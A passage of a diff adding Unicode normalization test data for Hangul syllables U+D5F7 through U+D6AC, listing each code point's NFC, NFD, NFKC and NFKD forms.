+{ source: [0xD5F7], NFC: [0xD5F7], NFD: [0x1112, 0x1166, 0x11BA], NFKC: [0xD5F7], NFKD: [0x1112, 0x1166, 0x11BA] },
+{ source: [0xD5F8], NFC: [0xD5F8], NFD: [0x1112, 0x1166, 0x11BB], NFKC: [0xD5F8], NFKD: [0x1112, 0x1166, 0x11BB] },
+{ source: [0xD5F9], NFC: [0xD5F9], NFD: [0x1112, 0x1166, 0x11BC], NFKC: [0xD5F9], NFKD: [0x1112, 0x1166, 0x11BC] },
+{ source: [0xD5FA], NFC: [0xD5FA], NFD: [0x1112, 0x1166, 0x11BD], NFKC: [0xD5FA], NFKD: [0x1112, 0x1166, 0x11BD] },
+{ source: [0xD5FB], NFC: [0xD5FB], NFD: [0x1112, 0x1166, 0x11BE], NFKC: [0xD5FB], NFKD: [0x1112, 0x1166, 0x11BE] },
+{ source: [0xD5FC], NFC: [0xD5FC], NFD: [0x1112, 0x1166, 0x11BF], NFKC: [0xD5FC], NFKD: [0x1112, 0x1166, 0x11BF] },
+{ source: [0xD5FD], NFC: [0xD5FD], NFD: [0x1112, 0x1166, 0x11C0], NFKC: [0xD5FD], NFKD: [0x1112, 0x1166, 0x11C0] },
+{ source: [0xD5FE], NFC: [0xD5FE], NFD: [0x1112, 0x1166, 0x11C1], NFKC: [0xD5FE], NFKD: [0x1112, 0x1166, 0x11C1] },
+{ source: [0xD5FF], NFC: [0xD5FF], NFD: [0x1112, 0x1166, 0x11C2], NFKC: [0xD5FF], NFKD: [0x1112, 0x1166, 0x11C2] },
+{ source: [0xD600], NFC: [0xD600], NFD: [0x1112, 0x1167], NFKC: [0xD600], NFKD: [0x1112, 0x1167] },
+{ source: [0xD601], NFC: [0xD601], NFD: [0x1112, 0x1167, 0x11A8], NFKC: [0xD601], NFKD: [0x1112, 0x1167, 0x11A8] },
+{ source: [0xD602], NFC: [0xD602], NFD: [0x1112, 0x1167, 0x11A9], NFKC: [0xD602], NFKD: [0x1112, 0x1167, 0x11A9] },
+{ source: [0xD603], NFC: [0xD603], NFD: [0x1112, 0x1167, 0x11AA], NFKC: [0xD603], NFKD: [0x1112, 0x1167, 0x11AA] },
+{ source: [0xD604], NFC: [0xD604], NFD: [0x1112, 0x1167, 0x11AB], NFKC: [0xD604], NFKD: [0x1112, 0x1167, 0x11AB] },
+{ source: [0xD605], NFC: [0xD605], NFD: [0x1112, 0x1167, 0x11AC], NFKC: [0xD605], NFKD: [0x1112, 0x1167, 0x11AC] },
+{ source: [0xD606], NFC: [0xD606], NFD: [0x1112, 0x1167, 0x11AD], NFKC: [0xD606], NFKD: [0x1112, 0x1167, 0x11AD] },
+{ source: [0xD607], NFC: [0xD607], NFD: [0x1112, 0x1167, 0x11AE], NFKC: [0xD607], NFKD: [0x1112, 0x1167, 0x11AE] },
+{ source: [0xD608], NFC: [0xD608], NFD: [0x1112, 0x1167, 0x11AF], NFKC: [0xD608], NFKD: [0x1112, 0x1167, 0x11AF] },
+{ source: [0xD609], NFC: [0xD609], NFD: [0x1112, 0x1167, 0x11B0], NFKC: [0xD609], NFKD: [0x1112, 0x1167, 0x11B0] },
+{ source: [0xD60A], NFC: [0xD60A], NFD: [0x1112, 0x1167, 0x11B1], NFKC: [0xD60A], NFKD: [0x1112, 0x1167, 0x11B1] },
+{ source: [0xD60B], NFC: [0xD60B], NFD: [0x1112, 0x1167, 0x11B2], NFKC: [0xD60B], NFKD: [0x1112, 0x1167, 0x11B2] },
+{ source: [0xD60C], NFC: [0xD60C], NFD: [0x1112, 0x1167, 0x11B3], NFKC: [0xD60C], NFKD: [0x1112, 0x1167, 0x11B3] },
+{ source: [0xD60D], NFC: [0xD60D], NFD: [0x1112, 0x1167, 0x11B4], NFKC: [0xD60D], NFKD: [0x1112, 0x1167, 0x11B4] },
+{ source: [0xD60E], NFC: [0xD60E], NFD: [0x1112, 0x1167, 0x11B5], NFKC: [0xD60E], NFKD: [0x1112, 0x1167, 0x11B5] },
+{ source: [0xD60F], NFC: [0xD60F], NFD: [0x1112, 0x1167, 0x11B6], NFKC: [0xD60F], NFKD: [0x1112, 0x1167, 0x11B6] },
+{ source: [0xD610], NFC: [0xD610], NFD: [0x1112, 0x1167, 0x11B7], NFKC: [0xD610], NFKD: [0x1112, 0x1167, 0x11B7] },
+{ source: [0xD611], NFC: [0xD611], NFD: [0x1112, 0x1167, 0x11B8], NFKC: [0xD611], NFKD: [0x1112, 0x1167, 0x11B8] },
+{ source: [0xD612], NFC: [0xD612], NFD: [0x1112, 0x1167, 0x11B9], NFKC: [0xD612], NFKD: [0x1112, 0x1167, 0x11B9] },
+{ source: [0xD613], NFC: [0xD613], NFD: [0x1112, 0x1167, 0x11BA], NFKC: [0xD613], NFKD: [0x1112, 0x1167, 0x11BA] },
+{ source: [0xD614], NFC: [0xD614], NFD: [0x1112, 0x1167, 0x11BB], NFKC: [0xD614], NFKD: [0x1112, 0x1167, 0x11BB] },
+{ source: [0xD615], NFC: [0xD615], NFD: [0x1112, 0x1167, 0x11BC], NFKC: [0xD615], NFKD: [0x1112, 0x1167, 0x11BC] },
+{ source: [0xD616], NFC: [0xD616], NFD: [0x1112, 0x1167, 0x11BD], NFKC: [0xD616], NFKD: [0x1112, 0x1167, 0x11BD] },
+{ source: [0xD617], NFC: [0xD617], NFD: [0x1112, 0x1167, 0x11BE], NFKC: [0xD617], NFKD: [0x1112, 0x1167, 0x11BE] },
+{ source: [0xD618], NFC: [0xD618], NFD: [0x1112, 0x1167, 0x11BF], NFKC: [0xD618], NFKD: [0x1112, 0x1167, 0x11BF] },
+{ source: [0xD619], NFC: [0xD619], NFD: [0x1112, 0x1167, 0x11C0], NFKC: [0xD619], NFKD: [0x1112, 0x1167, 0x11C0] },
+{ source: [0xD61A], NFC: [0xD61A], NFD: [0x1112, 0x1167, 0x11C1], NFKC: [0xD61A], NFKD: [0x1112, 0x1167, 0x11C1] },
+{ source: [0xD61B], NFC: [0xD61B], NFD: [0x1112, 0x1167, 0x11C2], NFKC: [0xD61B], NFKD: [0x1112, 0x1167, 0x11C2] },
+{ source: [0xD61C], NFC: [0xD61C], NFD: [0x1112, 0x1168], NFKC: [0xD61C], NFKD: [0x1112, 0x1168] },
+{ source: [0xD61D], NFC: [0xD61D], NFD: [0x1112, 0x1168, 0x11A8], NFKC: [0xD61D], NFKD: [0x1112, 0x1168, 0x11A8] },
+{ source: [0xD61E], NFC: [0xD61E], NFD: [0x1112, 0x1168, 0x11A9], NFKC: [0xD61E], NFKD: [0x1112, 0x1168, 0x11A9] },
+{ source: [0xD61F], NFC: [0xD61F], NFD: [0x1112, 0x1168, 0x11AA], NFKC: [0xD61F], NFKD: [0x1112, 0x1168, 0x11AA] },
+{ source: [0xD620], NFC: [0xD620], NFD: [0x1112, 0x1168, 0x11AB], NFKC: [0xD620], NFKD: [0x1112, 0x1168, 0x11AB] },
+{ source: [0xD621], NFC: [0xD621], NFD: [0x1112, 0x1168, 0x11AC], NFKC: [0xD621], NFKD: [0x1112, 0x1168, 0x11AC] },
+{ source: [0xD622], NFC: [0xD622], NFD: [0x1112, 0x1168, 0x11AD], NFKC: [0xD622], NFKD: [0x1112, 0x1168, 0x11AD] },
+{ source: [0xD623], NFC: [0xD623], NFD: [0x1112, 0x1168, 0x11AE], NFKC: [0xD623], NFKD: [0x1112, 0x1168, 0x11AE] },
+{ source: [0xD624], NFC: [0xD624], NFD: [0x1112, 0x1168, 0x11AF], NFKC: [0xD624], NFKD: [0x1112, 0x1168, 0x11AF] },
+{ source: [0xD625], NFC: [0xD625], NFD: [0x1112, 0x1168, 0x11B0], NFKC: [0xD625], NFKD: [0x1112, 0x1168, 0x11B0] },
+{ source: [0xD626], NFC: [0xD626], NFD: [0x1112, 0x1168, 0x11B1], NFKC: [0xD626], NFKD: [0x1112, 0x1168, 0x11B1] },
+{ source: [0xD627], NFC: [0xD627], NFD: [0x1112, 0x1168, 0x11B2], NFKC: [0xD627], NFKD: [0x1112, 0x1168, 0x11B2] },
+{ source: [0xD628], NFC: [0xD628], NFD: [0x1112, 0x1168, 0x11B3], NFKC: [0xD628], NFKD: [0x1112, 0x1168, 0x11B3] },
+{ source: [0xD629], NFC: [0xD629], NFD: [0x1112, 0x1168, 0x11B4], NFKC: [0xD629], NFKD: [0x1112, 0x1168, 0x11B4] },
+{ source: [0xD62A], NFC: [0xD62A], NFD: [0x1112, 0x1168, 0x11B5], NFKC: [0xD62A], NFKD: [0x1112, 0x1168, 0x11B5] },
+{ source: [0xD62B], NFC: [0xD62B], NFD: [0x1112, 0x1168, 0x11B6], NFKC: [0xD62B], NFKD: [0x1112, 0x1168, 0x11B6] },
+{ source: [0xD62C], NFC: [0xD62C], NFD: [0x1112, 0x1168, 0x11B7], NFKC: [0xD62C], NFKD: [0x1112, 0x1168, 0x11B7] },
+{ source: [0xD62D], NFC: [0xD62D], NFD: [0x1112, 0x1168, 0x11B8], NFKC: [0xD62D], NFKD: [0x1112, 0x1168, 0x11B8] },
+{ source: [0xD62E], NFC: [0xD62E], NFD: [0x1112, 0x1168, 0x11B9], NFKC: [0xD62E], NFKD: [0x1112, 0x1168, 0x11B9] },
+{ source: [0xD62F], NFC: [0xD62F], NFD: [0x1112, 0x1168, 0x11BA], NFKC: [0xD62F], NFKD: [0x1112, 0x1168, 0x11BA] },
+{ source: [0xD630], NFC: [0xD630], NFD: [0x1112, 0x1168, 0x11BB], NFKC: [0xD630], NFKD: [0x1112, 0x1168, 0x11BB] },
+{ source: [0xD631], NFC: [0xD631], NFD: [0x1112, 0x1168, 0x11BC], NFKC: [0xD631], NFKD: [0x1112, 0x1168, 0x11BC] },
+{ source: [0xD632], NFC: [0xD632], NFD: [0x1112, 0x1168, 0x11BD], NFKC: [0xD632], NFKD: [0x1112, 0x1168, 0x11BD] },
+{ source: [0xD633], NFC: [0xD633], NFD: [0x1112, 0x1168, 0x11BE], NFKC: [0xD633], NFKD: [0x1112, 0x1168, 0x11BE] },
+{ source: [0xD634], NFC: [0xD634], NFD: [0x1112, 0x1168, 0x11BF], NFKC: [0xD634], NFKD: [0x1112, 0x1168, 0x11BF] },
+{ source: [0xD635], NFC: [0xD635], NFD: [0x1112, 0x1168, 0x11C0], NFKC: [0xD635], NFKD: [0x1112, 0x1168, 0x11C0] },
+{ source: [0xD636], NFC: [0xD636], NFD: [0x1112, 0x1168, 0x11C1], NFKC: [0xD636], NFKD: [0x1112, 0x1168, 0x11C1] },
+{ source: [0xD637], NFC: [0xD637], NFD: [0x1112, 0x1168, 0x11C2], NFKC: [0xD637], NFKD: [0x1112, 0x1168, 0x11C2] },
+{ source: [0xD638], NFC: [0xD638], NFD: [0x1112, 0x1169], NFKC: [0xD638], NFKD: [0x1112, 0x1169] },
+{ source: [0xD639], NFC: [0xD639], NFD: [0x1112, 0x1169, 0x11A8], NFKC: [0xD639], NFKD: [0x1112, 0x1169, 0x11A8] },
+{ source: [0xD63A], NFC: [0xD63A], NFD: [0x1112, 0x1169, 0x11A9], NFKC: [0xD63A], NFKD: [0x1112, 0x1169, 0x11A9] },
+{ source: [0xD63B], NFC: [0xD63B], NFD: [0x1112, 0x1169, 0x11AA], NFKC: [0xD63B], NFKD: [0x1112, 0x1169, 0x11AA] },
+{ source: [0xD63C], NFC: [0xD63C], NFD: [0x1112, 0x1169, 0x11AB], NFKC: [0xD63C], NFKD: [0x1112, 0x1169, 0x11AB] },
+{ source: [0xD63D], NFC: [0xD63D], NFD: [0x1112, 0x1169, 0x11AC], NFKC: [0xD63D], NFKD: [0x1112, 0x1169, 0x11AC] },
+{ source: [0xD63E], NFC: [0xD63E], NFD: [0x1112, 0x1169, 0x11AD], NFKC: [0xD63E], NFKD: [0x1112, 0x1169, 0x11AD] },
+{ source: [0xD63F], NFC: [0xD63F], NFD: [0x1112, 0x1169, 0x11AE], NFKC: [0xD63F], NFKD: [0x1112, 0x1169, 0x11AE] },
+{ source: [0xD640], NFC: [0xD640], NFD: [0x1112, 0x1169, 0x11AF], NFKC: [0xD640], NFKD: [0x1112, 0x1169, 0x11AF] },
+{ source: [0xD641], NFC: [0xD641], NFD: [0x1112, 0x1169, 0x11B0], NFKC: [0xD641], NFKD: [0x1112, 0x1169, 0x11B0] },
+{ source: [0xD642], NFC: [0xD642], NFD: [0x1112, 0x1169, 0x11B1], NFKC: [0xD642], NFKD: [0x1112, 0x1169, 0x11B1] },
+{ source: [0xD643], NFC: [0xD643], NFD: [0x1112, 0x1169, 0x11B2], NFKC: [0xD643], NFKD: [0x1112, 0x1169, 0x11B2] },
+{ source: [0xD644], NFC: [0xD644], NFD: [0x1112, 0x1169, 0x11B3], NFKC: [0xD644], NFKD: [0x1112, 0x1169, 0x11B3] },
+{ source: [0xD645], NFC: [0xD645], NFD: [0x1112, 0x1169, 0x11B4], NFKC: [0xD645], NFKD: [0x1112, 0x1169, 0x11B4] },
+{ source: [0xD646], NFC: [0xD646], NFD: [0x1112, 0x1169, 0x11B5], NFKC: [0xD646], NFKD: [0x1112, 0x1169, 0x11B5] },
+{ source: [0xD647], NFC: [0xD647], NFD: [0x1112, 0x1169, 0x11B6], NFKC: [0xD647], NFKD: [0x1112, 0x1169, 0x11B6] },
+{ source: [0xD648], NFC: [0xD648], NFD: [0x1112, 0x1169, 0x11B7], NFKC: [0xD648], NFKD: [0x1112, 0x1169, 0x11B7] },
+{ source: [0xD649], NFC: [0xD649], NFD: [0x1112, 0x1169, 0x11B8], NFKC: [0xD649], NFKD: [0x1112, 0x1169, 0x11B8] },
+{ source: [0xD64A], NFC: [0xD64A], NFD: [0x1112, 0x1169, 0x11B9], NFKC: [0xD64A], NFKD: [0x1112, 0x1169, 0x11B9] },
+{ source: [0xD64B], NFC: [0xD64B], NFD: [0x1112, 0x1169, 0x11BA], NFKC: [0xD64B], NFKD: [0x1112, 0x1169, 0x11BA] },
+{ source: [0xD64C], NFC: [0xD64C], NFD: [0x1112, 0x1169, 0x11BB], NFKC: [0xD64C], NFKD: [0x1112, 0x1169, 0x11BB] },
+{ source: [0xD64D], NFC: [0xD64D], NFD: [0x1112, 0x1169, 0x11BC], NFKC: [0xD64D], NFKD: [0x1112, 0x1169, 0x11BC] },
+{ source: [0xD64E], NFC: [0xD64E], NFD: [0x1112, 0x1169, 0x11BD], NFKC: [0xD64E], NFKD: [0x1112, 0x1169, 0x11BD] },
+{ source: [0xD64F], NFC: [0xD64F], NFD: [0x1112, 0x1169, 0x11BE], NFKC: [0xD64F], NFKD: [0x1112, 0x1169, 0x11BE] },
+{ source: [0xD650], NFC: [0xD650], NFD: [0x1112, 0x1169, 0x11BF], NFKC: [0xD650], NFKD: [0x1112, 0x1169, 0x11BF] },
+{ source: [0xD651], NFC: [0xD651], NFD: [0x1112, 0x1169, 0x11C0], NFKC: [0xD651], NFKD: [0x1112, 0x1169, 0x11C0] },
+{ source: [0xD652], NFC: [0xD652], NFD: [0x1112, 0x1169, 0x11C1], NFKC: [0xD652], NFKD: [0x1112, 0x1169, 0x11C1] },
+{ source: [0xD653], NFC: [0xD653], NFD: [0x1112, 0x1169, 0x11C2], NFKC: [0xD653], NFKD: [0x1112, 0x1169, 0x11C2] },
+{ source: [0xD654], NFC: [0xD654], NFD: [0x1112, 0x116A], NFKC: [0xD654], NFKD: [0x1112, 0x116A] },
+{ source: [0xD655], NFC: [0xD655], NFD: [0x1112, 0x116A, 0x11A8], NFKC: [0xD655], NFKD: [0x1112, 0x116A, 0x11A8] },
+{ source: [0xD656], NFC: [0xD656], NFD: [0x1112, 0x116A, 0x11A9], NFKC: [0xD656], NFKD: [0x1112, 0x116A, 0x11A9] },
+{ source: [0xD657], NFC: [0xD657], NFD: [0x1112, 0x116A, 0x11AA], NFKC: [0xD657], NFKD: [0x1112, 0x116A, 0x11AA] },
+{ source: [0xD658], NFC: [0xD658], NFD: [0x1112, 0x116A, 0x11AB], NFKC: [0xD658], NFKD: [0x1112, 0x116A, 0x11AB] },
+{ source: [0xD659], NFC: [0xD659], NFD: [0x1112, 0x116A, 0x11AC], NFKC: [0xD659], NFKD: [0x1112, 0x116A, 0x11AC] },
+{ source: [0xD65A], NFC: [0xD65A], NFD: [0x1112, 0x116A, 0x11AD], NFKC: [0xD65A], NFKD: [0x1112, 0x116A, 0x11AD] },
+{ source: [0xD65B], NFC: [0xD65B], NFD: [0x1112, 0x116A, 0x11AE], NFKC: [0xD65B], NFKD: [0x1112, 0x116A, 0x11AE] },
+{ source: [0xD65C], NFC: [0xD65C], NFD: [0x1112, 0x116A, 0x11AF], NFKC: [0xD65C], NFKD: [0x1112, 0x116A, 0x11AF] },
+{ source: [0xD65D], NFC: [0xD65D], NFD: [0x1112, 0x116A, 0x11B0], NFKC: [0xD65D], NFKD: [0x1112, 0x116A, 0x11B0] },
+{ source: [0xD65E], NFC: [0xD65E], NFD: [0x1112, 0x116A, 0x11B1], NFKC: [0xD65E], NFKD: [0x1112, 0x116A, 0x11B1] },
+{ source: [0xD65F], NFC: [0xD65F], NFD: [0x1112, 0x116A, 0x11B2], NFKC: [0xD65F], NFKD: [0x1112, 0x116A, 0x11B2] },
+{ source: [0xD660], NFC: [0xD660], NFD: [0x1112, 0x116A, 0x11B3], NFKC: [0xD660], NFKD: [0x1112, 0x116A, 0x11B3] },
+{ source: [0xD661], NFC: [0xD661], NFD: [0x1112, 0x116A, 0x11B4], NFKC: [0xD661], NFKD: [0x1112, 0x116A, 0x11B4] },
+{ source: [0xD662], NFC: [0xD662], NFD: [0x1112, 0x116A, 0x11B5], NFKC: [0xD662], NFKD: [0x1112, 0x116A, 0x11B5] },
+{ source: [0xD663], NFC: [0xD663], NFD: [0x1112, 0x116A, 0x11B6], NFKC: [0xD663], NFKD: [0x1112, 0x116A, 0x11B6] },
+{ source: [0xD664], NFC: [0xD664], NFD: [0x1112, 0x116A, 0x11B7], NFKC: [0xD664], NFKD: [0x1112, 0x116A, 0x11B7] },
+{ source: [0xD665], NFC: [0xD665], NFD: [0x1112, 0x116A, 0x11B8], NFKC: [0xD665], NFKD: [0x1112, 0x116A, 0x11B8] },
+{ source: [0xD666], NFC: [0xD666], NFD: [0x1112, 0x116A, 0x11B9], NFKC: [0xD666], NFKD: [0x1112, 0x116A, 0x11B9] },
+{ source: [0xD667], NFC: [0xD667], NFD: [0x1112, 0x116A, 0x11BA], NFKC: [0xD667], NFKD: [0x1112, 0x116A, 0x11BA] },
+{ source: [0xD668], NFC: [0xD668], NFD: [0x1112, 0x116A, 0x11BB], NFKC: [0xD668], NFKD: [0x1112, 0x116A, 0x11BB] },
+{ source: [0xD669], NFC: [0xD669], NFD: [0x1112, 0x116A, 0x11BC], NFKC: [0xD669], NFKD: [0x1112, 0x116A, 0x11BC] },
+{ source: [0xD66A], NFC: [0xD66A], NFD: [0x1112, 0x116A, 0x11BD], NFKC: [0xD66A], NFKD: [0x1112, 0x116A, 0x11BD] },
+{ source: [0xD66B], NFC: [0xD66B], NFD: [0x1112, 0x116A, 0x11BE], NFKC: [0xD66B], NFKD: [0x1112, 0x116A, 0x11BE] },
+{ source: [0xD66C], NFC: [0xD66C], NFD: [0x1112, 0x116A, 0x11BF], NFKC: [0xD66C], NFKD: [0x1112, 0x116A, 0x11BF] },
+{ source: [0xD66D], NFC: [0xD66D], NFD: [0x1112, 0x116A, 0x11C0], NFKC: [0xD66D], NFKD: [0x1112, 0x116A, 0x11C0] },
+{ source: [0xD66E], NFC: [0xD66E], NFD: [0x1112, 0x116A, 0x11C1], NFKC: [0xD66E], NFKD: [0x1112, 0x116A, 0x11C1] },
+{ source: [0xD66F], NFC: [0xD66F], NFD: [0x1112, 0x116A, 0x11C2], NFKC: [0xD66F], NFKD: [0x1112, 0x116A, 0x11C2] },
+{ source: [0xD670], NFC: [0xD670], NFD: [0x1112, 0x116B], NFKC: [0xD670], NFKD: [0x1112, 0x116B] },
+{ source: [0xD671], NFC: [0xD671], NFD: [0x1112, 0x116B, 0x11A8], NFKC: [0xD671], NFKD: [0x1112, 0x116B, 0x11A8] },
+{ source: [0xD672], NFC: [0xD672], NFD: [0x1112, 0x116B, 0x11A9], NFKC: [0xD672], NFKD: [0x1112, 0x116B, 0x11A9] },
+{ source: [0xD673], NFC: [0xD673], NFD: [0x1112, 0x116B, 0x11AA], NFKC: [0xD673], NFKD: [0x1112, 0x116B, 0x11AA] },
+{ source: [0xD674], NFC: [0xD674], NFD: [0x1112, 0x116B, 0x11AB], NFKC: [0xD674], NFKD: [0x1112, 0x116B, 0x11AB] },
+{ source: [0xD675], NFC: [0xD675], NFD: [0x1112, 0x116B, 0x11AC], NFKC: [0xD675], NFKD: [0x1112, 0x116B, 0x11AC] },
+{ source: [0xD676], NFC: [0xD676], NFD: [0x1112, 0x116B, 0x11AD], NFKC: [0xD676], NFKD: [0x1112, 0x116B, 0x11AD] },
+{ source: [0xD677], NFC: [0xD677], NFD: [0x1112, 0x116B, 0x11AE], NFKC: [0xD677], NFKD: [0x1112, 0x116B, 0x11AE] },
+{ source: [0xD678], NFC: [0xD678], NFD: [0x1112, 0x116B, 0x11AF], NFKC: [0xD678], NFKD: [0x1112, 0x116B, 0x11AF] },
+{ source: [0xD679], NFC: [0xD679], NFD: [0x1112, 0x116B, 0x11B0], NFKC: [0xD679], NFKD: [0x1112, 0x116B, 0x11B0] },
+{ source: [0xD67A], NFC: [0xD67A], NFD: [0x1112, 0x116B, 0x11B1], NFKC: [0xD67A], NFKD: [0x1112, 0x116B, 0x11B1] },
+{ source: [0xD67B], NFC: [0xD67B], NFD: [0x1112, 0x116B, 0x11B2], NFKC: [0xD67B], NFKD: [0x1112, 0x116B, 0x11B2] },
+{ source: [0xD67C], NFC: [0xD67C], NFD: [0x1112, 0x116B, 0x11B3], NFKC: [0xD67C], NFKD: [0x1112, 0x116B, 0x11B3] },
+{ source: [0xD67D], NFC: [0xD67D], NFD: [0x1112, 0x116B, 0x11B4], NFKC: [0xD67D], NFKD: [0x1112, 0x116B, 0x11B4] },
+{ source: [0xD67E], NFC: [0xD67E], NFD: [0x1112, 0x116B, 0x11B5], NFKC: [0xD67E], NFKD: [0x1112, 0x116B, 0x11B5] },
+{ source: [0xD67F], NFC: [0xD67F], NFD: [0x1112, 0x116B, 0x11B6], NFKC: [0xD67F], NFKD: [0x1112, 0x116B, 0x11B6] },
+{ source: [0xD680], NFC: [0xD680], NFD: [0x1112, 0x116B, 0x11B7], NFKC: [0xD680], NFKD: [0x1112, 0x116B, 0x11B7] },
+{ source: [0xD681], NFC: [0xD681], NFD: [0x1112, 0x116B, 0x11B8], NFKC: [0xD681], NFKD: [0x1112, 0x116B, 0x11B8] },
+{ source: [0xD682], NFC: [0xD682], NFD: [0x1112, 0x116B, 0x11B9], NFKC: [0xD682], NFKD: [0x1112, 0x116B, 0x11B9] },
+{ source: [0xD683], NFC: [0xD683], NFD: [0x1112, 0x116B, 0x11BA], NFKC: [0xD683], NFKD: [0x1112, 0x116B, 0x11BA] },
+{ source: [0xD684], NFC: [0xD684], NFD: [0x1112, 0x116B, 0x11BB], NFKC: [0xD684], NFKD: [0x1112, 0x116B, 0x11BB] },
+{ source: [0xD685], NFC: [0xD685], NFD: [0x1112, 0x116B, 0x11BC], NFKC: [0xD685], NFKD: [0x1112, 0x116B, 0x11BC] },
+{ source: [0xD686], NFC: [0xD686], NFD: [0x1112, 0x116B, 0x11BD], NFKC: [0xD686], NFKD: [0x1112, 0x116B, 0x11BD] },
+{ source: [0xD687], NFC: [0xD687], NFD: [0x1112, 0x116B, 0x11BE], NFKC: [0xD687], NFKD: [0x1112, 0x116B, 0x11BE] },
+{ source: [0xD688], NFC: [0xD688], NFD: [0x1112, 0x116B, 0x11BF], NFKC: [0xD688], NFKD: [0x1112, 0x116B, 0x11BF] },
+{ source: [0xD689], NFC: [0xD689], NFD: [0x1112, 0x116B, 0x11C0], NFKC: [0xD689], NFKD: [0x1112, 0x116B, 0x11C0] },
+{ source: [0xD68A], NFC: [0xD68A], NFD: [0x1112, 0x116B, 0x11C1], NFKC: [0xD68A], NFKD: [0x1112, 0x116B, 0x11C1] },
+{ source: [0xD68B], NFC: [0xD68B], NFD: [0x1112, 0x116B, 0x11C2], NFKC: [0xD68B], NFKD: [0x1112, 0x116B, 0x11C2] },
+{ source: [0xD68C], NFC: [0xD68C], NFD: [0x1112, 0x116C], NFKC: [0xD68C], NFKD: [0x1112, 0x116C] },
+{ source: [0xD68D], NFC: [0xD68D], NFD: [0x1112, 0x116C, 0x11A8], NFKC: [0xD68D], NFKD: [0x1112, 0x116C, 0x11A8] },
+{ source: [0xD68E], NFC: [0xD68E], NFD: [0x1112, 0x116C, 0x11A9], NFKC: [0xD68E], NFKD: [0x1112, 0x116C, 0x11A9] },
+{ source: [0xD68F], NFC: [0xD68F], NFD: [0x1112, 0x116C, 0x11AA], NFKC: [0xD68F], NFKD: [0x1112, 0x116C, 0x11AA] },
+{ source: [0xD690], NFC: [0xD690], NFD: [0x1112, 0x116C, 0x11AB], NFKC: [0xD690], NFKD: [0x1112, 0x116C, 0x11AB] },
+{ source: [0xD691], NFC: [0xD691], NFD: [0x1112, 0x116C, 0x11AC], NFKC: [0xD691], NFKD: [0x1112, 0x116C, 0x11AC] },
+{ source: [0xD692], NFC: [0xD692], NFD: [0x1112, 0x116C, 0x11AD], NFKC: [0xD692], NFKD: [0x1112, 0x116C, 0x11AD] },
+{ source: [0xD693], NFC: [0xD693], NFD: [0x1112, 0x116C, 0x11AE], NFKC: [0xD693], NFKD: [0x1112, 0x116C, 0x11AE] },
+{ source: [0xD694], NFC: [0xD694], NFD: [0x1112, 0x116C, 0x11AF], NFKC: [0xD694], NFKD: [0x1112, 0x116C, 0x11AF] },
+{ source: [0xD695], NFC: [0xD695], NFD: [0x1112, 0x116C, 0x11B0], NFKC: [0xD695], NFKD: [0x1112, 0x116C, 0x11B0] },
+{ source: [0xD696], NFC: [0xD696], NFD: [0x1112, 0x116C, 0x11B1], NFKC: [0xD696], NFKD: [0x1112, 0x116C, 0x11B1] },
+{ source: [0xD697], NFC: [0xD697], NFD: [0x1112, 0x116C, 0x11B2], NFKC: [0xD697], NFKD: [0x1112, 0x116C, 0x11B2] },
+{ source: [0xD698], NFC: [0xD698], NFD: [0x1112, 0x116C, 0x11B3], NFKC: [0xD698], NFKD: [0x1112, 0x116C, 0x11B3] },
+{ source: [0xD699], NFC: [0xD699], NFD: [0x1112, 0x116C, 0x11B4], NFKC: [0xD699], NFKD: [0x1112, 0x116C, 0x11B4] },
+{ source: [0xD69A], NFC: [0xD69A], NFD: [0x1112, 0x116C, 0x11B5], NFKC: [0xD69A], NFKD: [0x1112, 0x116C, 0x11B5] },
+{ source: [0xD69B], NFC: [0xD69B], NFD: [0x1112, 0x116C, 0x11B6], NFKC: [0xD69B], NFKD: [0x1112, 0x116C, 0x11B6] },
+{ source: [0xD69C], NFC: [0xD69C], NFD: [0x1112, 0x116C, 0x11B7], NFKC: [0xD69C], NFKD: [0x1112, 0x116C, 0x11B7] },
+{ source: [0xD69D], NFC: [0xD69D], NFD: [0x1112, 0x116C, 0x11B8], NFKC: [0xD69D], NFKD: [0x1112, 0x116C, 0x11B8] },
+{ source: [0xD69E], NFC: [0xD69E], NFD: [0x1112, 0x116C, 0x11B9], NFKC: [0xD69E], NFKD: [0x1112, 0x116C, 0x11B9] },
+{ source: [0xD69F], NFC: [0xD69F], NFD: [0x1112, 0x116C, 0x11BA], NFKC: [0xD69F], NFKD: [0x1112, 0x116C, 0x11BA] },
+{ source: [0xD6A0], NFC: [0xD6A0], NFD: [0x1112, 0x116C, 0x11BB], NFKC: [0xD6A0], NFKD: [0x1112, 0x116C, 0x11BB] },
+{ source: [0xD6A1], NFC: [0xD6A1], NFD: [0x1112, 0x116C, 0x11BC], NFKC: [0xD6A1], NFKD: [0x1112, 0x116C, 0x11BC] },
+{ source: [0xD6A2], NFC: [0xD6A2], NFD: [0x1112, 0x116C, 0x11BD], NFKC: [0xD6A2], NFKD: [0x1112, 0x116C, 0x11BD] },
+{ source: [0xD6A3], NFC: [0xD6A3], NFD: [0x1112, 0x116C, 0x11BE], NFKC: [0xD6A3], NFKD: [0x1112, 0x116C, 0x11BE] },
+{ source: [0xD6A4], NFC: [0xD6A4], NFD: [0x1112, 0x116C, 0x11BF], NFKC: [0xD6A4], NFKD: [0x1112, 0x116C, 0x11BF] },
+{ source: [0xD6A5], NFC: [0xD6A5], NFD: [0x1112, 0x116C, 0x11C0], NFKC: [0xD6A5], NFKD: [0x1112, 0x116C, 0x11C0] },
+{ source: [0xD6A6], NFC: [0xD6A6], NFD: [0x1112, 0x116C, 0x11C1], NFKC: [0xD6A6], NFKD: [0x1112, 0x116C, 0x11C1] },
+{ source: [0xD6A7], NFC: [0xD6A7], NFD: [0x1112, 0x116C, 0x11C2], NFKC: [0xD6A7], NFKD: [0x1112, 0x116C, 0x11C2] },
+{ source: [0xD6A8], NFC: [0xD6A8], NFD: [0x1112, 0x116D], NFKC: [0xD6A8], NFKD: [0x1112, 0x116D] },
+{ source: [0xD6A9], NFC: [0xD6A9], NFD: [0x1112, 0x116D, 0x11A8], NFKC: [0xD6A9], NFKD: [0x1112, 0x116D, 0x11A8] },
+{ source: [0xD6AA], NFC: [0xD6AA], NFD: [0x1112, 0x116D, 0x11A9], NFKC: [0xD6AA], NFKD: [0x1112, 0x116D, 0x11A9] },
+{ source: [0xD6AB], NFC: [0xD6AB], NFD: [0x1112, 0x116D, 0x11AA], NFKC: [0xD6AB], NFKD: [0x1112, 0x116D, 0x11AA] },
+{ source: [0xD6AC], NFC: [0xD6AC], NFD: [0x1112, 0x116D, 0x11AB], NFKC: [0xD6AC], NFKD: [0x1112, 0x116D, 0x11AB] },
